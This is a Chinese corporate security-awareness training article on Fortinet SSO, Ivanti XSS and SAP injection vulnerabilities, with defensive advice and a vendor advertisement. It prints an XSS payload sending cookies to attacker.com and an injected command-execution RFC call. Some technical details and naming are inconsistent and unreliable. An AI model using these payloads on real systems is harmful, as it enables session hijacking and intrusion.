前言：头脑风暴的火花——两个“真实”案例点燃警钟
在信息时代的浩瀚星海里，安全事件如同暗流汹涌的暗礁，稍有不慎便会触礁沉没。为让大家在漫长的安全培训之旅中保持高度警觉，我先抛出两桩鲜活且极具教育意义的案例——它们分别来源于Fortinet的单点登录（SSO）漏洞、Ivanti的存储型 XSS 漏洞以及 SAP 的代码注入与反序列化漏洞。这两则案例在结构上交叉、在影响上互补，既揭示了技术实现的细节失误，也暴露了组织治理与安全文化的缺失。
案例一：FortiCloud SSO 失守——“默认安全”是一种幻觉
2025 年 12 月，Fortinet 官方披露了 CVE‑2025‑59718 / CVE‑2025‑59719 两个严重漏洞。攻击者可构造恶意 SAML 消息，绕过 FortiCloud 单点登录（SSO）实现对 FortiOS、FortiWeb、FortiProxy、FortiSwitchManager 的未经授权访问。虽然官方强调该功能默认关闭，但在实际部署中，大多数企业为提升运维便捷性，都已打开此开关，却未及时评估风险。
案例二：Ivanti EPM XSS 与 SAP 代码注入——“假象的防线”让攻击者轻易潜伏
同期，Ivanti 公布 CVE‑2025‑10573（Stored XSS，CVSS 9.6）以及三桩高危漏洞（CVE‑2025‑13659/13661/13662）。攻击者只需向未受防护的 EPM Web 服务提交特制请求，即可在管理员仪表盘植入恶意脚本，进而劫持会话。与此同时，SAP 也发布了 CVE‑2025‑42880（Solution Manager 代码注入，CVSS 9.9）以及 CVE‑2025‑42928（jConnect SDK 反序列化，CVSS 9.1），均可实现远程代码执行。两个厂商的漏洞虽不同技术栈，却都来自“对输入的盲目信任”与“对安全默认的错误假设”。
这两则案例的共同点在于：
- 安全配置默认不安全：尽管厂商声称默认关闭，却在实际使用场景中被改为开启，导致防御失效。
- 攻击路径“低门槛”：只需一次精心构造的请求或 SAML 消息，即可跨越身份验证，取得管理权限。
- 缺乏安全文化：组织未能在部署前进行渗透测试、代码审计，或在运维阶段缺少持续的风险评估。
下面，我将对这两个案例进行细致剖析，以帮助每位同事在日常工作中形成“一盯一看一问”的安全思维。
案例一深度剖析：FortiCloud SSO 证书签名验证缺陷
1. 漏洞概述
- 漏洞编号：CVE‑2025‑59718 / CVE‑2025‑59719
- 影响产品：FortiOS、FortiWeb、FortiProxy、FortiSwitchManager
- 漏洞类型：密码学签名错误验证（CWE‑347）
- 危害评级：CVSS 9.8（极高）
攻击者通过伪造的 SAML 断言（Assertion）欺骗 FortiCloud SSO 模块，使系统误以为已完成身份验证，从而直接登录管理控制台。若企业开启了 FortiCloud 与 FortiCare 之间的注册关联，即使在默认关闭的情况下，也极易被误操作打开。
2. 技术细节与攻击步骤
| 步骤 | 行动 | 关键点 |
|---|---|---|
| ① | 攻击者获取一台已注册的 FortiDevice（可通过公开文档或社工） | 目标设备已启用 “Allow administrative login using FortiCloud SSO”。 |
| ② | 构造恶意 SAML Assertion，修改 Issuer、Audience 等字段 |
利用不完善的签名验证，不需要合法的私钥即可通过。 |
| ③ | 将伪造的 Assertion 注入 HTTP POST 请求，发送至 /sso/login 接口 |
服务器仅检查 Assertion 是否存在而不校验签名完整性。 |
| ④ | 成功绕过 SSO，获得管理员会话 Cookie（ADMINSESSIONID） |
攻击者随后即可执行任意配置、下载日志、植入后门等操作。 |
3. 影响范围
- 数据泄露：管理员凭证泄露后，可导出所有配置文件、日志、证书等敏感信息。
- 横向渗透：通过已取得的 FortiGate 配置，可对内部网络进行流量劫持、MITM 等高级攻击。
- 业务中断：错误的策略修改可能导致网络瘫痪或服务不可用。
4. 防御与应急建议
- 立即关闭 SSO 功能：在 CLI 中执行
config system global→set admin-forticloud-sso-login disable，或通过 GUI 关闭 “Allow administrative login using FortiCloud SSO”。 - 审计已开启的 SSO 设备：利用
show system global | include admin-forticloud命令快速定位所有开启 SSO 的设备，逐一核实。 - 升级固件：在 2025 年 12 月最新补丁发布后，务必在 72 小时内完成升级。
- 实施多因素认证（MFA）：即使 SSO 被利用，MFA 仍能提供二次防护。
- 强化日志监控：对
/sso/login接口的异常请求进行实时告警，配合 SIEM 系统进行关联分析。
“防微杜渐，未雨绸缪。”——古语提醒我们，安全的每一环都不容忽视。
案例二深度剖析：Ivanti XSS 与 SAP 代码注入的“双剑合璧”
1. 漏洞概述
| 漏洞 | 编号 | 类型 | CVSS | 受影响模块 |
|---|---|---|---|---|
| Ivanti Stored XSS | CVE‑2025‑10573 | 存储型跨站脚本 | 9.6 | Endpoint Manager Web Dashboard |
| Ivanti 任意代码执行 | CVE‑2025‑13659/13661/13662 | 代码执行、签名验证失误 | 9.4‑9.5 | Patch Management、Agent 通信 |
| SAP 代码注入 | CVE‑2025‑42880 | 代码注入（SQL/ABAP） | 9.9 | Solution Manager |
| SAP 反序列化 | CVE‑2025‑42928 | 反序列化 RCE | 9.1 | jConnect SDK（Sybase ASE） |
2. 攻击链条绘制
2.1 Ivanti XSS 攻击流程
- 探测端点：攻击者扫描公开的 EPM Web Service（默认端口 8080），发现未进行输入过滤的
deviceName参数。 - 注入恶意脚本：通过
POST /epm/api/devices请求，将<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>注入。 - 持久化存储：服务器将此字符串写入数据库的设备名称字段。
- 触发执行：当管理员打开 “设备列表” 页面时，页面直接渲染该字段，导致脚本在管理员浏览器中执行，窃取会话 Cookie、跨站请求伪造（CSRF）等。
“一次看似无害的输入，就可能打开后门。”——正如《三国演义》中的“草船借箭”，看似小事，却能成千上万的“箭矢”。
2.2 SAP 代码注入与反序列化攻击流程
- 信息收集：攻击者通过公开文档发现 SAP Solution Manager 中开放的 RFC 接口
ZSOLM_EXECUTE，可接受任意 ABAP 代码。 - 构造恶意 RFC 调用：将
CALL FUNCTION 'ZSOLM_EXECUTE' EXPORTING CODE = 'SYSTEM‑CALL "cmd.exe /c calc.exe"'. - 执行代码：后端直接将传入的字符串拼接进 ABAP 程序并执行，导致任意系统命令执行。
- 利用 jConnect 反序列化：攻击者发送特制的二进制序列化对象至 SAP jConnect，触发
java.io.ObjectInputStream反序列化漏洞，实现远程代码执行。
3. 影响评估
- 企业内部信息泄露：XSS 能获取管理员凭据，进而访问内部系统、业务数据。
- 业务系统崩溃：SAP 代码注入可直接修改业务流程、删除关键数据，甚至导致系统不可用。
- 供应链风险：SAP 作为企业核心 ERP，任意代码执行会波及上下游合作伙伴，形成供应链安全危机。
4. 防御与修复建议
- 对输入进行严格过滤和转义：所有 Web 表单、API 参数均应使用白名单校验，禁止直接输出未处理的用户数据。
- 开启内容安全策略（CSP）：限制页面可执行的脚本来源，阻止恶意脚本在浏览器执行。
- 强制安全审计：对所有自定义 RFC、BAPI、外部插件进行代码审计，确保不出现直接执行外部命令的逻辑。
- 及时打补丁：Ivanti 已在 2024 SU4 SR1 中修复，SAP 则在 2025‑12‑10 的安全更新中提供修复包。
- 部署 Web 应用防火墙（WAF）：通过规则阻断常见 XSS、SQL 注入、代码注入请求。
- 最小权限原则：对 SAP 系统的管理员账户进行分层授权，避免单点拥有全部系统权限。
“千里之堤，溃于蚁穴。”——只有把每一道细小的防线都筑牢，才能真正抵御高级持久威胁（APT）。
章节三：拥抱自动化、机器人化、智能体化——安全的下一代驱动引擎
1. 当前趋势概览
过去五年，自动化（Automation）、机器人化（Robotics）以及智能体（AI Agent）已从概念走向落地。企业在 CI/CD、IT 运维、网络监控等环节大量引入 RPA（机器人流程自动化）、SOAR（安全编排、自动响应）、大模型安全助理，实现了“安全即代码”的转型。
- 自动化：脚本化的补丁部署、合规审计。
- 机器人化：网络设备的自愈机器人、SOC 中的威胁情报机器人。
- 智能体化：基于大模型的安全分析员，能够即时解读日志、生成报告、给出修复建议。
这些技术可以帮助我们在 发现‑响应‑修复 的闭环中压缩时间窗口，从 数小时 缩短至 数分钟，从而降低 “攻击成功率 × 失效时间” 的乘积。
2. 安全意识培训的全新形态
在这种背景下，传统的“一次性课堂式”培训已无法满足需求。我们将推出 “安全赋能实验室”，融合以下三大元素：
- 情境化演练平台：基于真实漏洞（如 FortiCloud SSO、Ivanti XSS）搭建靶场，职工在受控环境下亲手复现攻击、完成补丁、编写检测脚本。
- AI 导学助理：通过公司内部部署的大模型（如 Claude-Style）提供即时答疑、风险评估报告、代码审计建议，帮助职工在学习中即获得实践反馈。
- 机器人协同实验：引入 RPA 机器人自动化完成系统日志收集、合规检查，让职工专注于“为什么”而非“怎么做”。
“授人以鱼不如授人以渔”。——在智能化浪潮中，我们的目标是让每位同事都掌握使用 “安全工具” 的方法，而非仅仅记住 “安全政策”。
3. 参与培训的实际收益
| 收益点 | 具体表现 |
|---|---|
| 风险感知提升 | 通过复现真实漏洞，深刻体会“被攻击的瞬间”。 |
| 技术技能增长 | 学会使用 SOAR 编排自动化响应脚本、使用 AI Assist 进行日志归因。 |
| 工作效率提升 | 自动化流程将原本 3 h 的补丁检测压缩至 15 min，释放运维人力。 |
| 组织安全成熟度 | 持续的安全演练与即时反馈构建闭环，提升 CMMI 等级。 |
4. 行动呼吁：从今天起，做“安全的搬运工”
- 立刻报名：本月 25 日前完成在线报名，即可获得 “安全实战手册”（含常用脚本、检查清单）。
- 预热练习：登录公司内部培训平台，在 “实验室入口” 下载 FortiCloud SSO 漏洞靶场，尝试手动复现并关闭 SSO。
- 组建小组：每部门推荐 2‑3 名同事组建 安全实验室小组，每周一次“案例复盘 + 自动化工具实操”。
- 提交心得：完成实验后，请在 企业知识库 撰写 300 字左右的复盘心得，优秀作品将进入公司内部安全博客，获得 安全之星 证书。
“行胜于言”。——只要脚踏实地、敢于实践，安全意识才能真正内化为每日工作的第一步。
章节四：结语——安全是一场没有终点的马拉松
在信息化不断加速、自动化与智能体深度融合的当下，安全不再是“IT 部门的事”。每一位职工都是组织安全的 第一道防线，也是 安全生态的参与者。从 FortiCloud 的“默认关闭但被误打开”，到 Ivanti 与 SAP 的“输入未过滤、代码任意执行”，我们看到的不是单纯的技术缺陷，而是 安全思维的缺口。
正如《道德经》所说：“上善若水，水善利万物而不争”。安全的最高境界，是让防御机制像水一样自然流动、无声无息，却能在危机时刻冲刷一切威胁。为实现这一天，我们必须：
- 持续学习：将每一次培训、每一次演练视作自我升级的“补丁”。
- 积极实践：在真实或仿真环境中动手复现、分析、修复。
- 拥抱技术：合理使用自动化、机器人、AI 助手，让安全工作成为 “高效、可验证、可追溯” 的流程。
- 共享经验：把个人的防御心得写进知识库，让全员受益，形成组织的“安全记忆”。
让我们在即将开启的 信息安全意识培训 中，以案例为镜、以技术为剑、以文化为盾，携手共筑“零容错的防御体系”。只有这样，面对未来可能出现的 GTG‑1002、Claude‑Style 等新型攻击，我们才能从容应对，确保企业的数字资产在风云变幻的网络海洋中安全航行。
让安全成为每个人的习惯，让智能成为每个岗位的加速器——从今天起，行动起来！
安全 防护 自动化 AI
企业信息安全政策的制定和执行是保护公司利益的重要环节。昆明亭长朗然科技有限公司提供从政策设计到员工培训的全方位服务，确保客户在各个层面都做好安全准备。感兴趣的企业请不要犹豫，联系我们以获取更多信息和支持。
- 电话：0871-67122372
- 微信、手机：18206751343
- 邮件：info＠securemymind.com
- QQ: 1767022898